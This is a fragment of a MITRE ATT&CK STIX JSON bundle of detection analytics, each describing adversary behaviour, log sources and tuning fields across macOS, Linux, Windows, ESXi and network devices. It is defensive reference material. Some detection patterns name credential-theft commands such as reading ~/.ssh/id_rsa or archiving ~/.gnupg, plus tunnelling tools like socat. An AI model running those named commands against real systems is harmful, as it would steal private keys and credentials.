            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedScripts",
                    "description": "Baseline admin scripts allowed to make firewall modifications."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3349af7c-3cea-4424-b2a4-056fedb63831",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0005#AN0013",
                    "external_id": "AN0013"
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            ],
            "object_marking_refs": [
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0013",
            "description": "Execution of renamed or relocated native macOS utilities with uncommon names or non-default paths (e.g., renamed `osascript`, `bash`, or `curl`).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "macos:unifiedlog",
                    "channel": "subsystem=com.apple.process"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "fs:fileevents",
                    "channel": "/var/log/quarantine.log"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PathDeviation",
                    "description": "Path deviation from expected directory (e.g., /usr/bin/ vs /tmp/)"
                },
                {
                    "field": "BinaryHashReputation",
                    "description": "Enable tuning based on hash matching known signed versions vs suspicious clones"
                },
                {
                    "field": "UserRole",
                    "description": "Scope detections based on non-admin users using admin-level tools"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2026-04-23T14:57:28.640Z",
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            "x_mitre_platforms": [
                "PRE"
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            "type": "x-mitre-analytic",
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            "name": "Analytic 0259",
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                "Linux"
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                {
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                {
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                    "field": "CronSchedulePattern",
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                {
                    "field": "ServiceUser",
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                {
                    "field": "BinaryEntropy",
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                "enterprise-attack"
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
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            ],
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                {
                    "field": "PrivilegedRoles",
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        },
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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            ],
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                    "field": "UserContext",
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        },
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                },
                {
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                    "channel": "ldap.log"
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            ],
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                    "field": "LDAPQueryDepth",
                    "description": "Tunable based on number of LDAP queries before flagging suspicious behavior."
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                {
                    "field": "CommandPattern",
                    "description": "Pattern matching against common ldapsearch or shell enumeration flags."
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=5136"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
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                    "channel": "Anomalous logon without MFA enforcement"
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            ],
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                    "field": "WatchedServices",
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                },
                {
                    "field": "TimeWindow",
                    "description": "Window correlating DLL/module load events with logon anomalies."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0827"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0827",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4673"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08",
                    "name": "WinEventLog:Sysmon",
                    "channel": "Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SectorRange",
                    "description": "Specify which sectors are considered critical (MBR, partition table) to reduce noise."
                },
                {
                    "field": "ProcessWhitelist",
                    "description": "Exclude legitimate low-level disk management or imaging tools used by administrators."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0686",
            "description": "Correlate MFA push fatigue or unusual consent grant attempts with call activity where adversaries may have socially engineered the user over voice.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MFARequestThreshold",
                    "description": "Number of MFA push requests within a timeframe aligned to a suspicious call"
                },
                {
                    "field": "ConsentGrantPatterns",
                    "description": "Unusual OAuth consent URLs or delegated scopes"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0750"
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            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0750",
            "description": "Logon via RDP or WMI by a user account followed by uncommon command execution, file manipulation, or lateral network connections.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between remote login and post-access activity"
                },
                {
                    "field": "LogonUser",
                    "description": "Limit to service accounts or privileged users for higher fidelity"
                },
                {
                    "field": "RemoteHostList",
                    "description": "Allowlisting known admin jumpboxes or deployment tools"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0518",
            "description": "Detect anomalous use of scp, rsync, curl, or third-party sync apps transferring executables into user directories. Correlate new file creation with immediate execution events.",
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                "macOS"
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                    "channel": "Execution of scp, rsync, curl with remote destination"
                },
                {
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                    "name": "macos:unifiedlog",
                    "channel": "File created in ~/Library/LaunchAgents or executable directories"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SyncApplications",
                    "description": "Whitelisted apps like Dropbox or OneDrive if sanctioned"
                },
                {
                    "field": "EntropyThreshold",
                    "description": "Adjust threshold for unusual filenames/hashes transferred internally"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--34fecfa5-24fb-46c1-955f-68ecd4cc402c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0770",
            "description": "Detection of rogue Domain Controller registration and Active Directory replication abuse by correlating: (1) creation/modification of nTDSDSA and server objects in the Configuration partition, (2) unexpected usage of Directory Replication Service SPNs (GC/ or E3514235-4B06-11D1-AB04-00C04FC2DCD2), (3) replication RPC calls (DrsAddEntry, DrsReplicaAdd, GetNCChanges) originating from non-DC hosts, and (4) Kerberos authentication by non-DC machines using DRS-related SPNs. These events in combination, especially from hosts outside the Domain Controllers OU, may indicate DCShadow or rogue DC activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4928"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4929"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4662"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db",
                    "name": "m365:dirsync",
                    "channel": "Replication cookie changes involving Configuration partition with new server/nTDSDSA objects."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs."
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Window (seconds) between nTDSDSA object creation and subsequent replication traffic from same host (default 300s)."
                },
                {
                    "field": "AllowedReplicationPartners",
                    "description": "List of legitimate DCs authorized for replication to reduce false positives."
                },
                {
                    "field": "SuspiciousSPNs",
                    "description": "SPNs indicating replication service usage (GC/, GUID E3514235-4B06-11D1-AB04-00C04FC2DCD2)."
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                {
                    "field": "NonDCObjectCreationAlert",
                    "description": "Trigger alerts only when AD object creation is by accounts not in Domain Admins or Enterprise Admins groups."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3517708a-f80e-4335-a122-65b9b3505e8d",
            "created": "2025-10-21T15:10:28.402Z",
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            "name": "Analytic 0710",
            "description": "Suspicious reuse of SSH agent sockets across multiple users or processes, anomalous access to ~/.ssh/ or /tmp/ssh-* sockets, and abnormal patterns of lateral movement via SSH without new authentication events. Defender view: detect when one process accesses another user's SSH agent or when an existing SSH connection is used to pivot unexpectedly.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Linux"
            ],
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                    "channel": "open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:EXECVE",
                    "channel": "Execution of ssh/scp/sftp without corresponding authentication log"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "NSM:Connections",
                    "channel": "Missing new login event but session activity continues"
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            ],
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                {
                    "field": "UserContext",
                    "description": "Tune alerts for cross-user access to SSH agent sockets."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate lack of authentication with lateral SSH activity within a short timeframe."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "id": "x-mitre-analytic--35300a0c-e135-4865-9fe5-9d65a1c77dda",
            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0461#AN1272",
                    "external_id": "AN1272"
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            ],
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            "name": "Analytic 1272",
            "description": "Unusual mounting of loopback or pseudo file systems not aligned with legitimate administrative activity. Defender view: monitoring auditd and syslog for mount commands involving suspicious mount points, reserved blocks, or device mappings indicative of hidden partitions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "mount or losetup commands creating hidden or encrypted FS"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "linux:syslog",
                    "channel": "Sudo or root escalation followed by filesystem mount commands"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedMountPoints",
                    "description": "Whitelist standard mount points to reduce false positives."
                },
                {
                    "field": "UserContext",
                    "description": "Flag root escalation during mount operations."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--3533fba3-e80d-4ad0-be45-62460b28ad7c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0054#AN0149",
                    "external_id": "AN0149"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0149",
            "description": "Abnormal Apple Mail use, including internal email relays followed by file execution or script events (e.g., attachments launched via Preview, terminal triggered from Mail.app)",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "com.apple.mail.* exec.*"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "curl|osascript.*open location"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutionChainDepth",
                    "description": "Number of child processes stemming from Mail.app"
                },
                {
                    "field": "MailScriptFlag",
                    "description": "Toggle on scripting detection within mail context"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--353e902d-b33c-466b-9276-5f224a259934",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0013#AN0039",
                    "external_id": "AN0039"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0039",
            "description": "Scripting or CLI tool access to ~/Library/Application Support/Google/Chrome or ~/Library/Safari bookmarks, cookies, or history databases. Detection relies on unexpected processes accessing or reading from these locations.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:unifiedlog",
                    "channel": "Access to ~/Library/*/Safari or Chrome directories by non-browser processes"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "process reading browser configuration paths"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BrowserDBPath",
                    "description": "System-specific paths to browser databases in user Library folders"
                },
                {
                    "field": "NonBrowserProcessList",
                    "description": "Processes not expected to touch browser DBs (e.g., curl, bash, python)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--35701083-a327-4f68-a426-13751b9743c3",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0176#AN0498",
                    "external_id": "AN0498"
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            ],
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0498",
            "description": "Correlated evidence of anomalous browser/network behavior (suspicious external resource fetches and script injection patterns) followed by atypical child processes, ephemeral execution contexts, memory modification or process injection, and unexpected file drops. Defender sees network requests to previously unseen/suspicious domains or resources + browser process spawning unusual children or loading unsigned modules + file writes or registry changes shortly after those requests.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "WinEventLog:Application",
                    "channel": "Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "Memory Modification / Unmapped module load or suspicious RWX allocations in the process space of a browser process"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation time window between suspicious network fetch and subsequent process/file events. Tweak for environment latency and caching; default 2 minutes."
                },
                {
                    "field": "KnownGoodDomainsList",
                    "description": "Allowlist of high-volume, benign domains used by corporate sites or CDNs to reduce false positives."
                },
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Entropy threshold for downloaded script/binary content to surface likely obfuscated/packed payloads."
                },
                {
                    "field": "UserContext",
                    "description": "Exclude or treat differently known administrative service accounts or build machines versus end-user contexts."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3577f79d-0891-451b-a861-1a03a3688a93",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0549#AN1517",
                    "external_id": "AN1517"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1517",
            "description": "User or script-based access to ~/.ssh or other directories containing private keys followed by unusual shell activity or network connections.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "openat"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:EXECVE",
                    "channel": "execve"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "FilePathRegex",
                    "description": "Directory/file path regex for ~/.ssh, *.pem, *.key, *.p12"
                },
                {
                    "field": "CommandLineMatch",
                    "description": "Script or user agent seen accessing keys (e.g., cat ~/.ssh/id_rsa, tar ~/.gnupg)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--359ab8ab-f306-4e67-8ff4-f8e1c8ec7db3",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0538#AN1485",
                    "external_id": "AN1485"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1485",
            "description": "launchd or user-invoked processes (ssh, socat) encapsulating traffic via SSH tunnels, VPN-style tooling, or DNS-over-HTTPS clients. Defender sees outbound TLS traffic with embedded DNS or RDP payloads.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process execution of ssh with -L/-R forwarding flags"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "encrypted outbound traffic carrying unexpected application data"
                }
            ],
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0487#AN1338",
                    "external_id": "AN1338"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1338",
            "description": "Multiple failed login attempts across different users using common password patterns (e.g., 'Welcome2023')",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "macos:unifiedlog",
                    "channel": "Login Window and Authd errors"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "RetryCountThreshold",
                    "description": "Total number of attempts before alerting"
                },
                {
                    "field": "CommonPasswordList",
                    "description": "List of passwords considered suspicious due to widespread use"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--370daadc-e640-4487-8ba0-c897f46459bc",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
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                    "external_id": "AN1570"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1570",
            "description": "Defenders may observe adversary attempts to downgrade system images by monitoring for anomalous file transfers of OS image files (via TFTP, FTP, SCP), configuration changes pointing boot system variables to older image files, unexpected OS version strings after reboot, and checksum mismatches against approved baseline images. Suspicious chains include transfer of an older image, alteration of boot configuration, and reboot/reload of the device. Adversaries may also tamper with CLI output to disguise downgrade attempts, requiring independent validation of OS version and integrity.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:cli",
                    "channel": "Execution of commands such as 'copy tftp flash', 'boot system <image>', 'reload'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "networkdevice:config",
                    "channel": "Configuration changes referencing older image versions or unexpected boot parameters"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "networkdevice:syslog",
                    "channel": "OS version query results inconsistent with expected or approved version list"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ApprovedFirmwareVersions",
                    "description": "Whitelist of supported and validated OS versions for devices; helps reduce false positives."
                },
                {
                    "field": "ChecksumBaseline",
                    "description": "Baseline cryptographic hashes of valid OS images; deviations indicate possible downgrade or tampering."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period to detect the chain of file transfer \u2192 boot config change \u2192 reboot event."
                },
                {
                    "field": "AuthorizedAdminAccounts",
                    "description": "Accounts authorized to perform OS upgrades/downgrades; anomalies suggest misuse or compromise."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--37166782-8770-4812-b70c-27f3c705489b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0153#AN0439",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0439",
            "description": "VMware services or management daemons generating HTTP POST requests to webhook endpoints, chained with unusual datastore or log access. Defender perspective: exfiltration from VM logs or disk images over webhook URLs.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "ESXi"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "esxi:hostd",
                    "channel": "datastore file access"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "esxi:vmkernel",
                    "channel": "HTTPS POST connections to webhook endpoints"
                }
            ],
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                {
                    "field": "DatastoreExfilThreshold",
                    "description": "Minimum data volume to flag exfiltration attempts from VM files."
                },
                {
                    "field": "ApprovedIntegrations",
                    "description": "Whitelisted CI/CD or automation webhooks tied to vSphere/ESXi."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--37d6450b-6c90-48dd-b69d-161099913851",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1501"
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            "name": "Analytic 1501",
            "description": "Detects adversary abuse of Transactional NTFS (TxF) and undocumented process loading mechanisms (e.g., NtCreateProcessEx) to create a hollowed process from an uncommitted, maliciously tainted file image in memory, later executed via NtCreateThreadEx.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
